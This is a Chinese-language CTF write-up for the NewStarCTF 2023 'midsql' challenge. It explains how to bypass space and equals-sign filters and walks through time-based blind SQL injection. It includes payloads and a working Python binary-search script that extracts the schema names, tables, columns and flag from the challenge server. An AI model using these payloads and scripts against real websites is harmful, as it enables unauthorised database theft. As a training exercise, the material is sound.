NewStarCTF2023week4-midsql(利用二分查找实现时间盲注攻击)

这篇具有很好参考价值的文章主要介绍了NewStarCTF2023week4-midsql(利用二分查找实现时间盲注攻击)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

大致测试一下,发现空格被过滤了

NewStarCTF2023week4-midsql(利用二分查找实现时间盲注攻击),CTF,web,SQL,sql,时间盲注,SQL注入,web安全,算法,二分查找

使用内联注释/**/绕过,可行

1'/**/--+

NewStarCTF2023week4-midsql(利用二分查找实现时间盲注攻击),CTF,web,SQL,sql,时间盲注,SQL注入,web安全,算法,二分查找

使用%a0替代空格,也可以 

1'%a0--+

NewStarCTF2023week4-midsql(利用二分查找实现时间盲注攻击),CTF,web,SQL,sql,时间盲注,SQL注入,web安全,算法,二分查找

再次测试发现等号也被过滤,我们使用 like 代替

(我最开始以为是and被过滤,并没有,如果是and或者or被过滤我们也可以使用 && 和 || 替代)

1'/**/&&1like2/**/--+

NewStarCTF2023week4-midsql(利用二分查找实现时间盲注攻击),CTF,web,SQL,sql,时间盲注,SQL注入,web安全,算法,二分查找

但是这里尝试了很多都只返回一个页面,没有出现报错页面,因此采用时间盲注,利用sleep函数,制造时间延迟,由回显时间来判断是否报错。

基础知识介绍:

if(判断语句,x,y)如果判断语句正确则输出X,否则输出Y
sleep(n),延迟n秒后回显

常用判断语句: 

if(1=1,1,sleep(3)) // 1=1恒成立,因此会输出1
if(1=2,1,sleep(3)) //1=2不成立,则会执行最后的sleep函数,延迟3秒后回显

当然我们也可以直接使用sleep()函数:

1'&&sleep(5)--+

尝试之后发现这里好像还不能使用--+注释,因此我们换用#注释

1'&&sleep(5)#

观察发现没有延时,说明分号不是闭合符号

NewStarCTF2023week4-midsql(利用二分查找实现时间盲注攻击),CTF,web,SQL,sql,时间盲注,SQL注入,web安全,算法,二分查找

尝试数字型

1&&sleep(5)#

出现了很明显的延时现象,证明语句闭合成功 

NewStarCTF2023week4-midsql(利用二分查找实现时间盲注攻击),CTF,web,SQL,sql,时间盲注,SQL注入,web安全,算法,二分查找

开始写脚本,先查一下它存在的数据库有哪些

构造payload:

1/**/and/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{mid},sleep(2),0)#

完整脚本: 

import time
import requests

url = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id='

database_name = ""
for i in range(1, 100):
    left = 32
    right = 128
    mid = (left + right) // 2
    while left < right:
        payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{mid},sleep(2),0)#"
        start_time = time.time()
        response = requests.get(payload).text
        end_time = time.time()
        use_time = end_time - start_time

        if use_time > 2:
            left = mid + 1
        else:
            right = mid
        mid = (left + right) // 2

    print(mid)
    database_name += chr(mid)
    print(database_name)

注意:在payload中一定要用 f 格式化字符串常量,以确保 {} 中的内容(比如{i}、{mid})在程序运行时会被表达式的值代替。

运行结果:

发现存在一个名为 ctf 的数据库

NewStarCTF2023week4-midsql(利用二分查找实现时间盲注攻击),CTF,web,SQL,sql,时间盲注,SQL注入,web安全,算法,二分查找

接着我们查该数据库下的所有表

构造payload:

1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like'ctf'),{i},1))>{mid},sleep(2),0)#

完整脚本: 

import time
import requests

url = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id='

database_name = ""
for i in range(1, 100):
    left = 32
    right = 128
    mid = (left + right) // 2
    while left < right:
        payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like'ctf'),{i},1))>{mid},sleep(2),0)#"
        start_time = time.time()
        response = requests.get(payload).text
        end_time = time.time()
        use_time = end_time - start_time

        if use_time > 2:
            left = mid + 1
        else:
            right = mid
        mid = (left + right) // 2

    print(mid)
    database_name += chr(mid)
    print(database_name)

发现只有一个名为 items 的表

NewStarCTF2023week4-midsql(利用二分查找实现时间盲注攻击),CTF,web,SQL,sql,时间盲注,SQL注入,web安全,算法,二分查找

尝试获数据库名为 ctf 下表名为 items 的列名信息

(这里不能直接select *)

构造payload:

1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like'ctf'||table_name/**/like'items'),{i},1))>{mid},sleep(2),0)#

 完整脚本:

import time
import requests

url = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id='

database_name = ""
for i in range(1, 100):
    left = 32
    right = 128
    mid = (left + right) // 2
    while left < right:
        payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like'ctf'||table_name/**/like'items'),{i},1))>{mid},sleep(2),0)#"
        start_time = time.time()
        response = requests.get(payload).text
        end_time = time.time()
        use_time = end_time - start_time

        if use_time > 2:
            left = mid + 1
        else:
            right = mid
        mid = (left + right) // 2

    print(mid)
    database_name += chr(mid)
    print(database_name)

发现存在三个列:id,name,price 

NewStarCTF2023week4-midsql(利用二分查找实现时间盲注攻击),CTF,web,SQL,sql,时间盲注,SQL注入,web安全,算法,二分查找

由于我们也不知道flag在哪儿,所以查询这三列的具体字段信息

构造payload:

1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/ctf.items),{i},1))>{mid},sleep(2),0)#

注意:这里查询的内容还是需要加上 group_concat(),因为之前我做的一些联合查询有时候不需要加,但是在这里我试了,不行。

顺便介绍一下 group_concat()函数的作用:

group_concat 首先根据 group by 指定的列进行分组,将同一组的列显示出来,并且用分隔符分隔,将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

完整脚本:

import time
import requests

url = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id='

database_name = ""
for i in range(1, 100):
    left = 32
    right = 128
    mid = (left + right) // 2
    while left < right:
        payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/ctf.items),{i},1))>{mid},sleep(2),0)#"
        start_time = time.time()
        response = requests.get(payload).text
        end_time = time.time()
        use_time = end_time - start_time

        if use_time > 2:
            left = mid + 1
        else:
            right = mid
        mid = (left + right) // 2

    print(mid)
    database_name += chr(mid)
    print(database_name)

NewStarCTF2023week4-midsql(利用二分查找实现时间盲注攻击),CTF,web,SQL,sql,时间盲注,SQL注入,web安全,算法,二分查找

拿到 flag{217f2b74-cca0-4afb-be0b-2147f666d25e} 

关于脚本的一些解释:

利用二分查找进行时间盲注攻击

  1. payload 是一个包含 SQL 注入攻击的 URL。这个 URL 是构建成这样的:url 是你的目标网站的地址,后面附加一个 SQL 注入语句。

  2. time.time() 用于记录开始时间,然后发起 HTTP GET 请求,发送 payload 到目标网站。这个请求会执行 SQL 注入攻击。

  3. 发起请求后,再次使用 time.time() 记录结束时间,然后计算 use_time,即请求的响应时间。

  4. 接下来,通过比较 use_time 是否大于 2 秒,来判断是否成功执行 SQL 注入。如果 use_time 大于 2 秒,说明条件成立,表示当前字符的 ASCII 值大于 mid

  5. 如果条件成立,将 left 的值增加 1,否则,将 right 的值减少 1,从而更新 mid 的值。这是二分查找算法的一部分,用于逐字符提取数据库名的字符。

  6. 最后,代码将当前字符(字符的 ASCII 值通过 chr() 函数转换为字符)添加到 database_name 变量中,并打印出 database_name,逐步构建查询到的数据库名。

代码通过不断猜测每个字符的 ASCII 值来构建数据库名,一旦一个字符的 ASCII 值被确定,就继续下一个字符。当然这里的database_name只是一个变量名,我们可以替换成其他的。文章来源地址https://www.toymoban.com/news/detail-734347.html

到了这里,关于NewStarCTF2023week4-midsql(利用二分查找实现时间盲注攻击)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [wp]NewStarCTF 2023 WEEK1|WEB

    考的就是敏感信息的泄露 题目提示两个  无非就最简单的三种 1.robots.txt 2.www.zip 3.index.php.swp 当然我的做法就是直接用dirsearch扫描了 得到了robots.txt和www.zip文件,访问拼接就得到了flag了   考的就是绕过客户端 JavaScript检验 上传一句话木马修改文件名后缀就行了 一句话木马内

    2024年02月07日
    浏览(28)
  • [wp]NewStarCTF 2023 WEEK3|WEB

    medium_sql Sqlmap一把梭 (部分能直接 flag\\\' 部分出现flag不完整 或者部分爆不到表 等官方wp) 在week1的基础上,多过滤了union。 验证存在布尔盲注: ?id=TMP0919\\\' And if(10,1,0)# ?id=TMP0919\\\' And if(01,1,0)# 发第一个,有回显,第二个,没回显,说明页面可以根据if判断的结果回显两种(真假)

    2024年02月08日
    浏览(26)
  • NewStarCTF 2023 公开赛道 WEEK2|Crypto

    T1.滴啤 T2.不止一个pi T3.halfcandecode T4.Rotate Xor T5.broadcast T6.partial decrypt     下载题目附件,我们获得到以下代码。      观察代码得到,这是一道DP泄露题。面对DP泄露题的破解关注点就在于 对于各个数学关系的利用 。大体证明流程如下。        , 那么,我们可以获得    

    2024年02月06日
    浏览(45)
  • NewStarCTF 2023 公开赛道 WEEK1|CRYPTO全解

    附件信息 在线工具一把梭 题目信息 凯撒解码 题目信息 栏栅密码 题目信息 维吉尼亚呀呀呀!!根据flag前缀通过偏移量手算key就行,是kfc呀嘿嘿   题目信息 flag分啦三部分,分别来解 part1:base64 part2:base32 part3:UUencode 题目信息 脚本: 题目信息 识别:e特别大 在RSA中d也称

    2024年02月08日
    浏览(26)
  • week4 搜索

    给定一个 N × M N times M N × M 方格的迷宫,迷宫里有 T T T 处障碍,障碍处不可通过。 在迷宫中移动有上下左右四种方式,每次只能移动一个方格。数据保证起点上没有障碍。 给定起点坐标和终点坐标,每个方格最多经过一次,问有多少种从起点坐标到终点坐标的方案。 第一

    2023年04月14日
    浏览(26)
  • 算法刷题 week4

    1.斐波那契数列 题目 题解 (递推 + 滚动变量) O(n) 这题的数据范围很小,我们直接模拟即可。 当数据范围很大时,就需要采用其他方式了,可以参考 求解斐波那契数列的若干方法 。 F(0) = 0, F(1) = 1 F(N) = F(N - 1) + F(N - 2), 其中 N 1. 斐波那契数列由 0 和 1 开始,之后的斐波那契数就

    2024年02月07日
    浏览(28)
  • 安全与认证Week4

    目录 目录 Web Security (TLS/SSL) 各层安全协议 Transport Layer Security (TLS)传输层安全性(TLS) SSL和TLS的联系与区别 TLS connectionsession 连接与会话 题目2答案点 TLS ArchitectureTLS架构(5个协议) 题目1答案点 Handshake Protocol(握手协议) 其它几个协议,包括后面的示例 题目10答案点 Handshake

    2024年02月02日
    浏览(30)
  • NewStarCTF week2 部分题解

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一、Word-For-You(2 Gen) 二、IncludeOne 三、UnserializeOne 四、ezAPI 五、 Yesec no drumsticks 2 六、Coldwinds\\\'s Desktop 七、qsdz\\\'s girlfriend 2 八、Affine(放射加密) 九、unusual_base 十、人类的本质 十一、EzRabin 提示

    2024年02月06日
    浏览(32)
  • 0xGame week4-WEB wp

    完结撒花!!!学到了很多很多,算是我这个WEB菜鸡过渡期的一个见证吧。 0xGame虽然也没做出来几道(大嘘),但是 一步步跟着复现也学了很多好玩的知识点和思路,希望下次能进化成WEBak哥hhhhhh~~~~ 来看最后一周,全是java框架,麻了。 整体不难,hint把解题方法基本写脸上

    2024年02月05日
    浏览(37)
  • 前端架构师-week4-脚手架命令注册和执行过程开发

    基于 Commander 完成脚手架命令注册和命令执行过程开发 ·如何设计高性能脚手架(缓存 + 多进程 实现这一点) ·Node 多进程开发 ·javascript 面向对象的实战技巧(达到可扩展 高复用) ·图解高性能脚手架架构设计方法 ·封装通用的 Package 和 Command 类 ·基于缓存 + Node 多进程实现

    2024年02月01日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包